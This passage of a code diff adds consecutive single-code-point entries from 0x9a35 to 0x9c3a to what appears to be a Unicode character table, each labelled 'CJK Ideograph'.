+ [0x9a35, 0x9a35], /* CJK Ideograph */
+ [0x9a36, 0x9a36], /* CJK Ideograph */
+ [0x9a37, 0x9a37], /* CJK Ideograph */
+ [0x9a38, 0x9a38], /* CJK Ideograph */
+ [0x9a39, 0x9a39], /* CJK Ideograph */
+ [0x9a3a, 0x9a3a], /* CJK Ideograph */
+ [0x9a3b, 0x9a3b], /* CJK Ideograph */
+ [0x9a3c, 0x9a3c], /* CJK Ideograph */
+ [0x9a3d, 0x9a3d], /* CJK Ideograph */
+ [0x9a3e, 0x9a3e], /* CJK Ideograph */
+ [0x9a3f, 0x9a3f], /* CJK Ideograph */
+ [0x9a40, 0x9a40], /* CJK Ideograph */
+ [0x9a41, 0x9a41], /* CJK Ideograph */
+ [0x9a42, 0x9a42], /* CJK Ideograph */
+ [0x9a43, 0x9a43], /* CJK Ideograph */
+ [0x9a44, 0x9a44], /* CJK Ideograph */
+ [0x9a45, 0x9a45], /* CJK Ideograph */
+ [0x9a46, 0x9a46], /* CJK Ideograph */
+ [0x9a47, 0x9a47], /* CJK Ideograph */
+ [0x9a48, 0x9a48], /* CJK Ideograph */
+ [0x9a49, 0x9a49], /* CJK Ideograph */
+ [0x9a4a, 0x9a4a], /* CJK Ideograph */
+ [0x9a4b, 0x9a4b], /* CJK Ideograph */
+ [0x9a4c, 0x9a4c], /* CJK Ideograph */
+ [0x9a4d, 0x9a4d], /* CJK Ideograph */
+ [0x9a4e, 0x9a4e], /* CJK Ideograph */
+ [0x9a4f, 0x9a4f], /* CJK Ideograph */
+ [0x9a50, 0x9a50], /* CJK Ideograph */
+ [0x9a51, 0x9a51], /* CJK Ideograph */
+ [0x9a52, 0x9a52], /* CJK Ideograph */
+ [0x9a53, 0x9a53], /* CJK Ideograph */
+ [0x9a54, 0x9a54], /* CJK Ideograph */
+ [0x9a55, 0x9a55], /* CJK Ideograph */
+ [0x9a56, 0x9a56], /* CJK Ideograph */
+ [0x9a57, 0x9a57], /* CJK Ideograph */
+ [0x9a58, 0x9a58], /* CJK Ideograph */
+ [0x9a59, 0x9a59], /* CJK Ideograph */
+ [0x9a5a, 0x9a5a], /* CJK Ideograph */
+ [0x9a5b, 0x9a5b], /* CJK Ideograph */
+ [0x9a5c, 0x9a5c], /* CJK Ideograph */
+ [0x9a5d, 0x9a5d], /* CJK Ideograph */
+ [0x9a5e, 0x9a5e], /* CJK Ideograph */
+ [0x9a5f, 0x9a5f], /* CJK Ideograph */
+ [0x9a60, 0x9a60], /* CJK Ideograph */
+ [0x9a61, 0x9a61], /* CJK Ideograph */
+ [0x9a62, 0x9a62], /* CJK Ideograph */
+ [0x9a63, 0x9a63], /* CJK Ideograph */
+ [0x9a64, 0x9a64], /* CJK Ideograph */
+ [0x9a65, 0x9a65], /* CJK Ideograph */
+ [0x9a66, 0x9a66], /* CJK Ideograph */
+ [0x9a67, 0x9a67], /* CJK Ideograph */
+ [0x9a68, 0x9a68], /* CJK Ideograph */
+ [0x9a69, 0x9a69], /* CJK Ideograph */
+ [0x9a6a, 0x9a6a], /* CJK Ideograph */
+ [0x9a6b, 0x9a6b], /* CJK Ideograph */
+ [0x9a6c, 0x9a6c], /* CJK Ideograph */
+ [0x9a6d, 0x9a6d], /* CJK Ideograph */
+ [0x9a6e, 0x9a6e], /* CJK Ideograph */
+ [0x9a6f, 0x9a6f], /* CJK Ideograph */
+ [0x9a70, 0x9a70], /* CJK Ideograph */
+ [0x9a71, 0x9a71], /* CJK Ideograph */
+ [0x9a72, 0x9a72], /* CJK Ideograph */
+ [0x9a73, 0x9a73], /* CJK Ideograph */
+ [0x9a74, 0x9a74], /* CJK Ideograph */
+ [0x9a75, 0x9a75], /* CJK Ideograph */
+ [0x9a76, 0x9a76], /* CJK Ideograph */
+ [0x9a77, 0x9a77], /* CJK Ideograph */
+ [0x9a78, 0x9a78], /* CJK Ideograph */
+ [0x9a79, 0x9a79], /* CJK Ideograph */
+ [0x9a7a, 0x9a7a], /* CJK Ideograph */
+ [0x9a7b, 0x9a7b], /* CJK Ideograph */
+ [0x9a7c, 0x9a7c], /* CJK Ideograph */
+ [0x9a7d, 0x9a7d], /* CJK Ideograph */
+ [0x9a7e, 0x9a7e], /* CJK Ideograph */
+ [0x9a7f, 0x9a7f], /* CJK Ideograph */
+ [0x9a80, 0x9a80], /* CJK Ideograph */
+ [0x9a81, 0x9a81], /* CJK Ideograph */
+ [0x9a82, 0x9a82], /* CJK Ideograph */
+ [0x9a83, 0x9a83], /* CJK Ideograph */
+ [0x9a84, 0x9a84], /* CJK Ideograph */
+ [0x9a85, 0x9a85], /* CJK Ideograph */
+ [0x9a86, 0x9a86], /* CJK Ideograph */
+ [0x9a87, 0x9a87], /* CJK Ideograph */
+ [0x9a88, 0x9a88], /* CJK Ideograph */
+ [0x9a89, 0x9a89], /* CJK Ideograph */
+ [0x9a8a, 0x9a8a], /* CJK Ideograph */
+ [0x9a8b, 0x9a8b], /* CJK Ideograph */
+ [0x9a8c, 0x9a8c], /* CJK Ideograph */
+ [0x9a8d, 0x9a8d], /* CJK Ideograph */
+ [0x9a8e, 0x9a8e], /* CJK Ideograph */
+ [0x9a8f, 0x9a8f], /* CJK Ideograph */
+ [0x9a90, 0x9a90], /* CJK Ideograph */
+ [0x9a91, 0x9a91], /* CJK Ideograph */
+ [0x9a92, 0x9a92], /* CJK Ideograph */
+ [0x9a93, 0x9a93], /* CJK Ideograph */
+ [0x9a94, 0x9a94], /* CJK Ideograph */
+ [0x9a95, 0x9a95], /* CJK Ideograph */
+ [0x9a96, 0x9a96], /* CJK Ideograph */
+ [0x9a97, 0x9a97], /* CJK Ideograph */
+ [0x9a98, 0x9a98], /* CJK Ideograph */
+ [0x9a99, 0x9a99], /* CJK Ideograph */
+ [0x9a9a, 0x9a9a], /* CJK Ideograph */
+ [0x9a9b, 0x9a9b], /* CJK Ideograph */
+ [0x9a9c, 0x9a9c], /* CJK Ideograph */
+ [0x9a9d, 0x9a9d], /* CJK Ideograph */
+ [0x9a9e, 0x9a9e], /* CJK Ideograph */
+ [0x9a9f, 0x9a9f], /* CJK Ideograph */
+ [0x9aa0, 0x9aa0], /* CJK Ideograph */
+ [0x9aa1, 0x9aa1], /* CJK Ideograph */
+ [0x9aa2, 0x9aa2], /* CJK Ideograph */
+ [0x9aa3, 0x9aa3], /* CJK Ideograph */
+ [0x9aa4, 0x9aa4], /* CJK Ideograph */
+ [0x9aa5, 0x9aa5], /* CJK Ideograph */
+ [0x9aa6, 0x9aa6], /* CJK Ideograph */
+ [0x9aa7, 0x9aa7], /* CJK Ideograph */
+ [0x9aa8, 0x9aa8], /* CJK Ideograph */
+ [0x9aa9, 0x9aa9], /* CJK Ideograph */
+ [0x9aaa, 0x9aaa], /* CJK Ideograph */
+ [0x9aab, 0x9aab], /* CJK Ideograph */
+ [0x9aac, 0x9aac], /* CJK Ideograph */
+ [0x9aad, 0x9aad], /* CJK Ideograph */
+ [0x9aae, 0x9aae], /* CJK Ideograph */
+ [0x9aaf, 0x9aaf], /* CJK Ideograph */
+ [0x9ab0, 0x9ab0], /* CJK Ideograph */
+ [0x9ab1, 0x9ab1], /* CJK Ideograph */
+ [0x9ab2, 0x9ab2], /* CJK Ideograph */
+ [0x9ab3, 0x9ab3], /* CJK Ideograph */
+ [0x9ab4, 0x9ab4], /* CJK Ideograph */
+ [0x9ab5, 0x9ab5], /* CJK Ideograph */
+ [0x9ab6, 0x9ab6], /* CJK Ideograph */
+ [0x9ab7, 0x9ab7], /* CJK Ideograph */
+ [0x9ab8, 0x9ab8], /* CJK Ideograph */
+ [0x9ab9, 0x9ab9], /* CJK Ideograph */
+ [0x9aba, 0x9aba], /* CJK Ideograph */
+ [0x9abb, 0x9abb], /* CJK Ideograph */
+ [0x9abc, 0x9abc], /* CJK Ideograph */
+ [0x9abd, 0x9abd], /* CJK Ideograph */
+ [0x9abe, 0x9abe], /* CJK Ideograph */
+ [0x9abf, 0x9abf], /* CJK Ideograph */
+ [0x9ac0, 0x9ac0], /* CJK Ideograph */
+ [0x9ac1, 0x9ac1], /* CJK Ideograph */
+ [0x9ac2, 0x9ac2], /* CJK Ideograph */
+ [0x9ac3, 0x9ac3], /* CJK Ideograph */
+ [0x9ac4, 0x9ac4], /* CJK Ideograph */
+ [0x9ac5, 0x9ac5], /* CJK Ideograph */
+ [0x9ac6, 0x9ac6], /* CJK Ideograph */
+ [0x9ac7, 0x9ac7], /* CJK Ideograph */
+ [0x9ac8, 0x9ac8], /* CJK Ideograph */
+ [0x9ac9, 0x9ac9], /* CJK Ideograph */
+ [0x9aca, 0x9aca], /* CJK Ideograph */
+ [0x9acb, 0x9acb], /* CJK Ideograph */
+ [0x9acc, 0x9acc], /* CJK Ideograph */
+ [0x9acd, 0x9acd], /* CJK Ideograph */
+ [0x9ace, 0x9ace], /* CJK Ideograph */
+ [0x9acf, 0x9acf], /* CJK Ideograph */
+ [0x9ad0, 0x9ad0], /* CJK Ideograph */
+ [0x9ad1, 0x9ad1], /* CJK Ideograph */
+ [0x9ad2, 0x9ad2], /* CJK Ideograph */
+ [0x9ad3, 0x9ad3], /* CJK Ideograph */
+ [0x9ad4, 0x9ad4], /* CJK Ideograph */
+ [0x9ad5, 0x9ad5], /* CJK Ideograph */
+ [0x9ad6, 0x9ad6], /* CJK Ideograph */
+ [0x9ad7, 0x9ad7], /* CJK Ideograph */
+ [0x9ad8, 0x9ad8], /* CJK Ideograph */
+ [0x9ad9, 0x9ad9], /* CJK Ideograph */
+ [0x9ada, 0x9ada], /* CJK Ideograph */
+ [0x9adb, 0x9adb], /* CJK Ideograph */
+ [0x9adc, 0x9adc], /* CJK Ideograph */
+ [0x9add, 0x9add], /* CJK Ideograph */
+ [0x9ade, 0x9ade], /* CJK Ideograph */
+ [0x9adf, 0x9adf], /* CJK Ideograph */
+ [0x9ae0, 0x9ae0], /* CJK Ideograph */
+ [0x9ae1, 0x9ae1], /* CJK Ideograph */
+ [0x9ae2, 0x9ae2], /* CJK Ideograph */
+ [0x9ae3, 0x9ae3], /* CJK Ideograph */
+ [0x9ae4, 0x9ae4], /* CJK Ideograph */
+ [0x9ae5, 0x9ae5], /* CJK Ideograph */
+ [0x9ae6, 0x9ae6], /* CJK Ideograph */
+ [0x9ae7, 0x9ae7], /* CJK Ideograph */
+ [0x9ae8, 0x9ae8], /* CJK Ideograph */
+ [0x9ae9, 0x9ae9], /* CJK Ideograph */
+ [0x9aea, 0x9aea], /* CJK Ideograph */
+ [0x9aeb, 0x9aeb], /* CJK Ideograph */
+ [0x9aec, 0x9aec], /* CJK Ideograph */
+ [0x9aed, 0x9aed], /* CJK Ideograph */
+ [0x9aee, 0x9aee], /* CJK Ideograph */
+ [0x9aef, 0x9aef], /* CJK Ideograph */
+ [0x9af0, 0x9af0], /* CJK Ideograph */
+ [0x9af1, 0x9af1], /* CJK Ideograph */
+ [0x9af2, 0x9af2], /* CJK Ideograph */
+ [0x9af3, 0x9af3], /* CJK Ideograph */
+ [0x9af4, 0x9af4], /* CJK Ideograph */
+ [0x9af5, 0x9af5], /* CJK Ideograph */
+ [0x9af6, 0x9af6], /* CJK Ideograph */
+ [0x9af7, 0x9af7], /* CJK Ideograph */
+ [0x9af8, 0x9af8], /* CJK Ideograph */
+ [0x9af9, 0x9af9], /* CJK Ideograph */
+ [0x9afa, 0x9afa], /* CJK Ideograph */
+ [0x9afb, 0x9afb], /* CJK Ideograph */
+ [0x9afc, 0x9afc], /* CJK Ideograph */
+ [0x9afd, 0x9afd], /* CJK Ideograph */
+ [0x9afe, 0x9afe], /* CJK Ideograph */
+ [0x9aff, 0x9aff], /* CJK Ideograph */
+ [0x9b00, 0x9b00], /* CJK Ideograph */
+ [0x9b01, 0x9b01], /* CJK Ideograph */
+ [0x9b02, 0x9b02], /* CJK Ideograph */
+ [0x9b03, 0x9b03], /* CJK Ideograph */
+ [0x9b04, 0x9b04], /* CJK Ideograph */
+ [0x9b05, 0x9b05], /* CJK Ideograph */
+ [0x9b06, 0x9b06], /* CJK Ideograph */
+ [0x9b07, 0x9b07], /* CJK Ideograph */
+ [0x9b08, 0x9b08], /* CJK Ideograph */
+ [0x9b09, 0x9b09], /* CJK Ideograph */
+ [0x9b0a, 0x9b0a], /* CJK Ideograph */
+ [0x9b0b, 0x9b0b], /* CJK Ideograph */
+ [0x9b0c, 0x9b0c], /* CJK Ideograph */
+ [0x9b0d, 0x9b0d], /* CJK Ideograph */
+ [0x9b0e, 0x9b0e], /* CJK Ideograph */
+ [0x9b0f, 0x9b0f], /* CJK Ideograph */
+ [0x9b10, 0x9b10], /* CJK Ideograph */
+ [0x9b11, 0x9b11], /* CJK Ideograph */
+ [0x9b12, 0x9b12], /* CJK Ideograph */
+ [0x9b13, 0x9b13], /* CJK Ideograph */
+ [0x9b14, 0x9b14], /* CJK Ideograph */
+ [0x9b15, 0x9b15], /* CJK Ideograph */
+ [0x9b16, 0x9b16], /* CJK Ideograph */
+ [0x9b17, 0x9b17], /* CJK Ideograph */
+ [0x9b18, 0x9b18], /* CJK Ideograph */
+ [0x9b19, 0x9b19], /* CJK Ideograph */
+ [0x9b1a, 0x9b1a], /* CJK Ideograph */
+ [0x9b1b, 0x9b1b], /* CJK Ideograph */
+ [0x9b1c, 0x9b1c], /* CJK Ideograph */
+ [0x9b1d, 0x9b1d], /* CJK Ideograph */
+ [0x9b1e, 0x9b1e], /* CJK Ideograph */
+ [0x9b1f, 0x9b1f], /* CJK Ideograph */
+ [0x9b20, 0x9b20], /* CJK Ideograph */
+ [0x9b21, 0x9b21], /* CJK Ideograph */
+ [0x9b22, 0x9b22], /* CJK Ideograph */
+ [0x9b23, 0x9b23], /* CJK Ideograph */
+ [0x9b24, 0x9b24], /* CJK Ideograph */
+ [0x9b25, 0x9b25], /* CJK Ideograph */
+ [0x9b26, 0x9b26], /* CJK Ideograph */
+ [0x9b27, 0x9b27], /* CJK Ideograph */
+ [0x9b28, 0x9b28], /* CJK Ideograph */
+ [0x9b29, 0x9b29], /* CJK Ideograph */
+ [0x9b2a, 0x9b2a], /* CJK Ideograph */
+ [0x9b2b, 0x9b2b], /* CJK Ideograph */
+ [0x9b2c, 0x9b2c], /* CJK Ideograph */
+ [0x9b2d, 0x9b2d], /* CJK Ideograph */
+ [0x9b2e, 0x9b2e], /* CJK Ideograph */
+ [0x9b2f, 0x9b2f], /* CJK Ideograph */
+ [0x9b30, 0x9b30], /* CJK Ideograph */
+ [0x9b31, 0x9b31], /* CJK Ideograph */
+ [0x9b32, 0x9b32], /* CJK Ideograph */
+ [0x9b33, 0x9b33], /* CJK Ideograph */
+ [0x9b34, 0x9b34], /* CJK Ideograph */
+ [0x9b35, 0x9b35], /* CJK Ideograph */
+ [0x9b36, 0x9b36], /* CJK Ideograph */
+ [0x9b37, 0x9b37], /* CJK Ideograph */
+ [0x9b38, 0x9b38], /* CJK Ideograph */
+ [0x9b39, 0x9b39], /* CJK Ideograph */
+ [0x9b3a, 0x9b3a], /* CJK Ideograph */
+ [0x9b3b, 0x9b3b], /* CJK Ideograph */
+ [0x9b3c, 0x9b3c], /* CJK Ideograph */
+ [0x9b3d, 0x9b3d], /* CJK Ideograph */
+ [0x9b3e, 0x9b3e], /* CJK Ideograph */
+ [0x9b3f, 0x9b3f], /* CJK Ideograph */
+ [0x9b40, 0x9b40], /* CJK Ideograph */
+ [0x9b41, 0x9b41], /* CJK Ideograph */
+ [0x9b42, 0x9b42], /* CJK Ideograph */
+ [0x9b43, 0x9b43], /* CJK Ideograph */
+ [0x9b44, 0x9b44], /* CJK Ideograph */
+ [0x9b45, 0x9b45], /* CJK Ideograph */
+ [0x9b46, 0x9b46], /* CJK Ideograph */
+ [0x9b47, 0x9b47], /* CJK Ideograph */
+ [0x9b48, 0x9b48], /* CJK Ideograph */
+ [0x9b49, 0x9b49], /* CJK Ideograph */
+ [0x9b4a, 0x9b4a], /* CJK Ideograph */
+ [0x9b4b, 0x9b4b], /* CJK Ideograph */
+ [0x9b4c, 0x9b4c], /* CJK Ideograph */
+ [0x9b4d, 0x9b4d], /* CJK Ideograph */
+ [0x9b4e, 0x9b4e], /* CJK Ideograph */
+ [0x9b4f, 0x9b4f], /* CJK Ideograph */
+ [0x9b50, 0x9b50], /* CJK Ideograph */
+ [0x9b51, 0x9b51], /* CJK Ideograph */
+ [0x9b52, 0x9b52], /* CJK Ideograph */
+ [0x9b53, 0x9b53], /* CJK Ideograph */
+ [0x9b54, 0x9b54], /* CJK Ideograph */
+ [0x9b55, 0x9b55], /* CJK Ideograph */
+ [0x9b56, 0x9b56], /* CJK Ideograph */
+ [0x9b57, 0x9b57], /* CJK Ideograph */
+ [0x9b58, 0x9b58], /* CJK Ideograph */
+ [0x9b59, 0x9b59], /* CJK Ideograph */
+ [0x9b5a, 0x9b5a], /* CJK Ideograph */
+ [0x9b5b, 0x9b5b], /* CJK Ideograph */
+ [0x9b5c, 0x9b5c], /* CJK Ideograph */
+ [0x9b5d, 0x9b5d], /* CJK Ideograph */
+ [0x9b5e, 0x9b5e], /* CJK Ideograph */
+ [0x9b5f, 0x9b5f], /* CJK Ideograph */
+ [0x9b60, 0x9b60], /* CJK Ideograph */
+ [0x9b61, 0x9b61], /* CJK Ideograph */
+ [0x9b62, 0x9b62], /* CJK Ideograph */
+ [0x9b63, 0x9b63], /* CJK Ideograph */
+ [0x9b64, 0x9b64], /* CJK Ideograph */
+ [0x9b65, 0x9b65], /* CJK Ideograph */
+ [0x9b66, 0x9b66], /* CJK Ideograph */
+ [0x9b67, 0x9b67], /* CJK Ideograph */
+ [0x9b68, 0x9b68], /* CJK Ideograph */
+ [0x9b69, 0x9b69], /* CJK Ideograph */
+ [0x9b6a, 0x9b6a], /* CJK Ideograph */
+ [0x9b6b, 0x9b6b], /* CJK Ideograph */
+ [0x9b6c, 0x9b6c], /* CJK Ideograph */
+ [0x9b6d, 0x9b6d], /* CJK Ideograph */
+ [0x9b6e, 0x9b6e], /* CJK Ideograph */
+ [0x9b6f, 0x9b6f], /* CJK Ideograph */
+ [0x9b70, 0x9b70], /* CJK Ideograph */
+ [0x9b71, 0x9b71], /* CJK Ideograph */
+ [0x9b72, 0x9b72], /* CJK Ideograph */
+ [0x9b73, 0x9b73], /* CJK Ideograph */
+ [0x9b74, 0x9b74], /* CJK Ideograph */
+ [0x9b75, 0x9b75], /* CJK Ideograph */
+ [0x9b76, 0x9b76], /* CJK Ideograph */
+ [0x9b77, 0x9b77], /* CJK Ideograph */
+ [0x9b78, 0x9b78], /* CJK Ideograph */
+ [0x9b79, 0x9b79], /* CJK Ideograph */
+ [0x9b7a, 0x9b7a], /* CJK Ideograph */
+ [0x9b7b, 0x9b7b], /* CJK Ideograph */
+ [0x9b7c, 0x9b7c], /* CJK Ideograph */
+ [0x9b7d, 0x9b7d], /* CJK Ideograph */
+ [0x9b7e, 0x9b7e], /* CJK Ideograph */
+ [0x9b7f, 0x9b7f], /* CJK Ideograph */
+ [0x9b80, 0x9b80], /* CJK Ideograph */
+ [0x9b81, 0x9b81], /* CJK Ideograph */
+ [0x9b82, 0x9b82], /* CJK Ideograph */
+ [0x9b83, 0x9b83], /* CJK Ideograph */
+ [0x9b84, 0x9b84], /* CJK Ideograph */
+ [0x9b85, 0x9b85], /* CJK Ideograph */
+ [0x9b86, 0x9b86], /* CJK Ideograph */
+ [0x9b87, 0x9b87], /* CJK Ideograph */
+ [0x9b88, 0x9b88], /* CJK Ideograph */
+ [0x9b89, 0x9b89], /* CJK Ideograph */
+ [0x9b8a, 0x9b8a], /* CJK Ideograph */
+ [0x9b8b, 0x9b8b], /* CJK Ideograph */
+ [0x9b8c, 0x9b8c], /* CJK Ideograph */
+ [0x9b8d, 0x9b8d], /* CJK Ideograph */
+ [0x9b8e, 0x9b8e], /* CJK Ideograph */
+ [0x9b8f, 0x9b8f], /* CJK Ideograph */
+ [0x9b90, 0x9b90], /* CJK Ideograph */
+ [0x9b91, 0x9b91], /* CJK Ideograph */
+ [0x9b92, 0x9b92], /* CJK Ideograph */
+ [0x9b93, 0x9b93], /* CJK Ideograph */
+ [0x9b94, 0x9b94], /* CJK Ideograph */
+ [0x9b95, 0x9b95], /* CJK Ideograph */
+ [0x9b96, 0x9b96], /* CJK Ideograph */
+ [0x9b97, 0x9b97], /* CJK Ideograph */
+ [0x9b98, 0x9b98], /* CJK Ideograph */
+ [0x9b99, 0x9b99], /* CJK Ideograph */
+ [0x9b9a, 0x9b9a], /* CJK Ideograph */
+ [0x9b9b, 0x9b9b], /* CJK Ideograph */
+ [0x9b9c, 0x9b9c], /* CJK Ideograph */
+ [0x9b9d, 0x9b9d], /* CJK Ideograph */
+ [0x9b9e, 0x9b9e], /* CJK Ideograph */
+ [0x9b9f, 0x9b9f], /* CJK Ideograph */
+ [0x9ba0, 0x9ba0], /* CJK Ideograph */
+ [0x9ba1, 0x9ba1], /* CJK Ideograph */
+ [0x9ba2, 0x9ba2], /* CJK Ideograph */
+ [0x9ba3, 0x9ba3], /* CJK Ideograph */
+ [0x9ba4, 0x9ba4], /* CJK Ideograph */
+ [0x9ba5, 0x9ba5], /* CJK Ideograph */
+ [0x9ba6, 0x9ba6], /* CJK Ideograph */
+ [0x9ba7, 0x9ba7], /* CJK Ideograph */
+ [0x9ba8, 0x9ba8], /* CJK Ideograph */
+ [0x9ba9, 0x9ba9], /* CJK Ideograph */
+ [0x9baa, 0x9baa], /* CJK Ideograph */
+ [0x9bab, 0x9bab], /* CJK Ideograph */
+ [0x9bac, 0x9bac], /* CJK Ideograph */
+ [0x9bad, 0x9bad], /* CJK Ideograph */
+ [0x9bae, 0x9bae], /* CJK Ideograph */
+ [0x9baf, 0x9baf], /* CJK Ideograph */
+ [0x9bb0, 0x9bb0], /* CJK Ideograph */
+ [0x9bb1, 0x9bb1], /* CJK Ideograph */
+ [0x9bb2, 0x9bb2], /* CJK Ideograph */
+ [0x9bb3, 0x9bb3], /* CJK Ideograph */
+ [0x9bb4, 0x9bb4], /* CJK Ideograph */
+ [0x9bb5, 0x9bb5], /* CJK Ideograph */
+ [0x9bb6, 0x9bb6], /* CJK Ideograph */
+ [0x9bb7, 0x9bb7], /* CJK Ideograph */
+ [0x9bb8, 0x9bb8], /* CJK Ideograph */
+ [0x9bb9, 0x9bb9], /* CJK Ideograph */
+ [0x9bba, 0x9bba], /* CJK Ideograph */
+ [0x9bbb, 0x9bbb], /* CJK Ideograph */
+ [0x9bbc, 0x9bbc], /* CJK Ideograph */
+ [0x9bbd, 0x9bbd], /* CJK Ideograph */
+ [0x9bbe, 0x9bbe], /* CJK Ideograph */
+ [0x9bbf, 0x9bbf], /* CJK Ideograph */
+ [0x9bc0, 0x9bc0], /* CJK Ideograph */
+ [0x9bc1, 0x9bc1], /* CJK Ideograph */
+ [0x9bc2, 0x9bc2], /* CJK Ideograph */
+ [0x9bc3, 0x9bc3], /* CJK Ideograph */
+ [0x9bc4, 0x9bc4], /* CJK Ideograph */
+ [0x9bc5, 0x9bc5], /* CJK Ideograph */
+ [0x9bc6, 0x9bc6], /* CJK Ideograph */
+ [0x9bc7, 0x9bc7], /* CJK Ideograph */
+ [0x9bc8, 0x9bc8], /* CJK Ideograph */
+ [0x9bc9, 0x9bc9], /* CJK Ideograph */
+ [0x9bca, 0x9bca], /* CJK Ideograph */
+ [0x9bcb, 0x9bcb], /* CJK Ideograph */
+ [0x9bcc, 0x9bcc], /* CJK Ideograph */
+ [0x9bcd, 0x9bcd], /* CJK Ideograph */
+ [0x9bce, 0x9bce], /* CJK Ideograph */
+ [0x9bcf, 0x9bcf], /* CJK Ideograph */
+ [0x9bd0, 0x9bd0], /* CJK Ideograph */
+ [0x9bd1, 0x9bd1], /* CJK Ideograph */
+ [0x9bd2, 0x9bd2], /* CJK Ideograph */
+ [0x9bd3, 0x9bd3], /* CJK Ideograph */
+ [0x9bd4, 0x9bd4], /* CJK Ideograph */
+ [0x9bd5, 0x9bd5], /* CJK Ideograph */
+ [0x9bd6, 0x9bd6], /* CJK Ideograph */
+ [0x9bd7, 0x9bd7], /* CJK Ideograph */
+ [0x9bd8, 0x9bd8], /* CJK Ideograph */
+ [0x9bd9, 0x9bd9], /* CJK Ideograph */
+ [0x9bda, 0x9bda], /* CJK Ideograph */
+ [0x9bdb, 0x9bdb], /* CJK Ideograph */
+ [0x9bdc, 0x9bdc], /* CJK Ideograph */
+ [0x9bdd, 0x9bdd], /* CJK Ideograph */
+ [0x9bde, 0x9bde], /* CJK Ideograph */
+ [0x9bdf, 0x9bdf], /* CJK Ideograph */
+ [0x9be0, 0x9be0], /* CJK Ideograph */
+ [0x9be1, 0x9be1], /* CJK Ideograph */
+ [0x9be2, 0x9be2], /* CJK Ideograph */
+ [0x9be3, 0x9be3], /* CJK Ideograph */
+ [0x9be4, 0x9be4], /* CJK Ideograph */
+ [0x9be5, 0x9be5], /* CJK Ideograph */
+ [0x9be6, 0x9be6], /* CJK Ideograph */
+ [0x9be7, 0x9be7], /* CJK Ideograph */
+ [0x9be8, 0x9be8], /* CJK Ideograph */
+ [0x9be9, 0x9be9], /* CJK Ideograph */
+ [0x9bea, 0x9bea], /* CJK Ideograph */
+ [0x9beb, 0x9beb], /* CJK Ideograph */
+ [0x9bec, 0x9bec], /* CJK Ideograph */
+ [0x9bed, 0x9bed], /* CJK Ideograph */
+ [0x9bee, 0x9bee], /* CJK Ideograph */
+ [0x9bef, 0x9bef], /* CJK Ideograph */
+ [0x9bf0, 0x9bf0], /* CJK Ideograph */
+ [0x9bf1, 0x9bf1], /* CJK Ideograph */
+ [0x9bf2, 0x9bf2], /* CJK Ideograph */
+ [0x9bf3, 0x9bf3], /* CJK Ideograph */
+ [0x9bf4, 0x9bf4], /* CJK Ideograph */
+ [0x9bf5, 0x9bf5], /* CJK Ideograph */
+ [0x9bf6, 0x9bf6], /* CJK Ideograph */
+ [0x9bf7, 0x9bf7], /* CJK Ideograph */
+ [0x9bf8, 0x9bf8], /* CJK Ideograph */
+ [0x9bf9, 0x9bf9], /* CJK Ideograph */
+ [0x9bfa, 0x9bfa], /* CJK Ideograph */
+ [0x9bfb, 0x9bfb], /* CJK Ideograph */
+ [0x9bfc, 0x9bfc], /* CJK Ideograph */
+ [0x9bfd, 0x9bfd], /* CJK Ideograph */
+ [0x9bfe, 0x9bfe], /* CJK Ideograph */
+ [0x9bff, 0x9bff], /* CJK Ideograph */
+ [0x9c00, 0x9c00], /* CJK Ideograph */
+ [0x9c01, 0x9c01], /* CJK Ideograph */
+ [0x9c02, 0x9c02], /* CJK Ideograph */
+ [0x9c03, 0x9c03], /* CJK Ideograph */
+ [0x9c04, 0x9c04], /* CJK Ideograph */
+ [0x9c05, 0x9c05], /* CJK Ideograph */
+ [0x9c06, 0x9c06], /* CJK Ideograph */
+ [0x9c07, 0x9c07], /* CJK Ideograph */
+ [0x9c08, 0x9c08], /* CJK Ideograph */
+ [0x9c09, 0x9c09], /* CJK Ideograph */
+ [0x9c0a, 0x9c0a], /* CJK Ideograph */
+ [0x9c0b, 0x9c0b], /* CJK Ideograph */
+ [0x9c0c, 0x9c0c], /* CJK Ideograph */
+ [0x9c0d, 0x9c0d], /* CJK Ideograph */
+ [0x9c0e, 0x9c0e], /* CJK Ideograph */
+ [0x9c0f, 0x9c0f], /* CJK Ideograph */
+ [0x9c10, 0x9c10], /* CJK Ideograph */
+ [0x9c11, 0x9c11], /* CJK Ideograph */
+ [0x9c12, 0x9c12], /* CJK Ideograph */
+ [0x9c13, 0x9c13], /* CJK Ideograph */
+ [0x9c14, 0x9c14], /* CJK Ideograph */
+ [0x9c15, 0x9c15], /* CJK Ideograph */
+ [0x9c16, 0x9c16], /* CJK Ideograph */
+ [0x9c17, 0x9c17], /* CJK Ideograph */
+ [0x9c18, 0x9c18], /* CJK Ideograph */
+ [0x9c19, 0x9c19], /* CJK Ideograph */
+ [0x9c1a, 0x9c1a], /* CJK Ideograph */
+ [0x9c1b, 0x9c1b], /* CJK Ideograph */
+ [0x9c1c, 0x9c1c], /* CJK Ideograph */
+ [0x9c1d, 0x9c1d], /* CJK Ideograph */
+ [0x9c1e, 0x9c1e], /* CJK Ideograph */
+ [0x9c1f, 0x9c1f], /* CJK Ideograph */
+ [0x9c20, 0x9c20], /* CJK Ideograph */
+ [0x9c21, 0x9c21], /* CJK Ideograph */
+ [0x9c22, 0x9c22], /* CJK Ideograph */
+ [0x9c23, 0x9c23], /* CJK Ideograph */
+ [0x9c24, 0x9c24], /* CJK Ideograph */
+ [0x9c25, 0x9c25], /* CJK Ideograph */
+ [0x9c26, 0x9c26], /* CJK Ideograph */
+ [0x9c27, 0x9c27], /* CJK Ideograph */
+ [0x9c28, 0x9c28], /* CJK Ideograph */
+ [0x9c29, 0x9c29], /* CJK Ideograph */
+ [0x9c2a, 0x9c2a], /* CJK Ideograph */
+ [0x9c2b, 0x9c2b], /* CJK Ideograph */
+ [0x9c2c, 0x9c2c], /* CJK Ideograph */
+ [0x9c2d, 0x9c2d], /* CJK Ideograph */
+ [0x9c2e, 0x9c2e], /* CJK Ideograph */
+ [0x9c2f, 0x9c2f], /* CJK Ideograph */
+ [0x9c30, 0x9c30], /* CJK Ideograph */
+ [0x9c31, 0x9c31], /* CJK Ideograph */
+ [0x9c32, 0x9c32], /* CJK Ideograph */
+ [0x9c33, 0x9c33], /* CJK Ideograph */
+ [0x9c34, 0x9c34], /* CJK Ideograph */
+ [0x9c35, 0x9c35], /* CJK Ideograph */
+ [0x9c36, 0x9c36], /* CJK Ideograph */
+ [0x9c37, 0x9c37], /* CJK Ideograph */
+ [0x9c38, 0x9c38], /* CJK Ideograph */
+ [0x9c39, 0x9c39], /* CJK Ideograph */
+ [0x9c3a, 0x9c3a], /* CJK Ideograph */
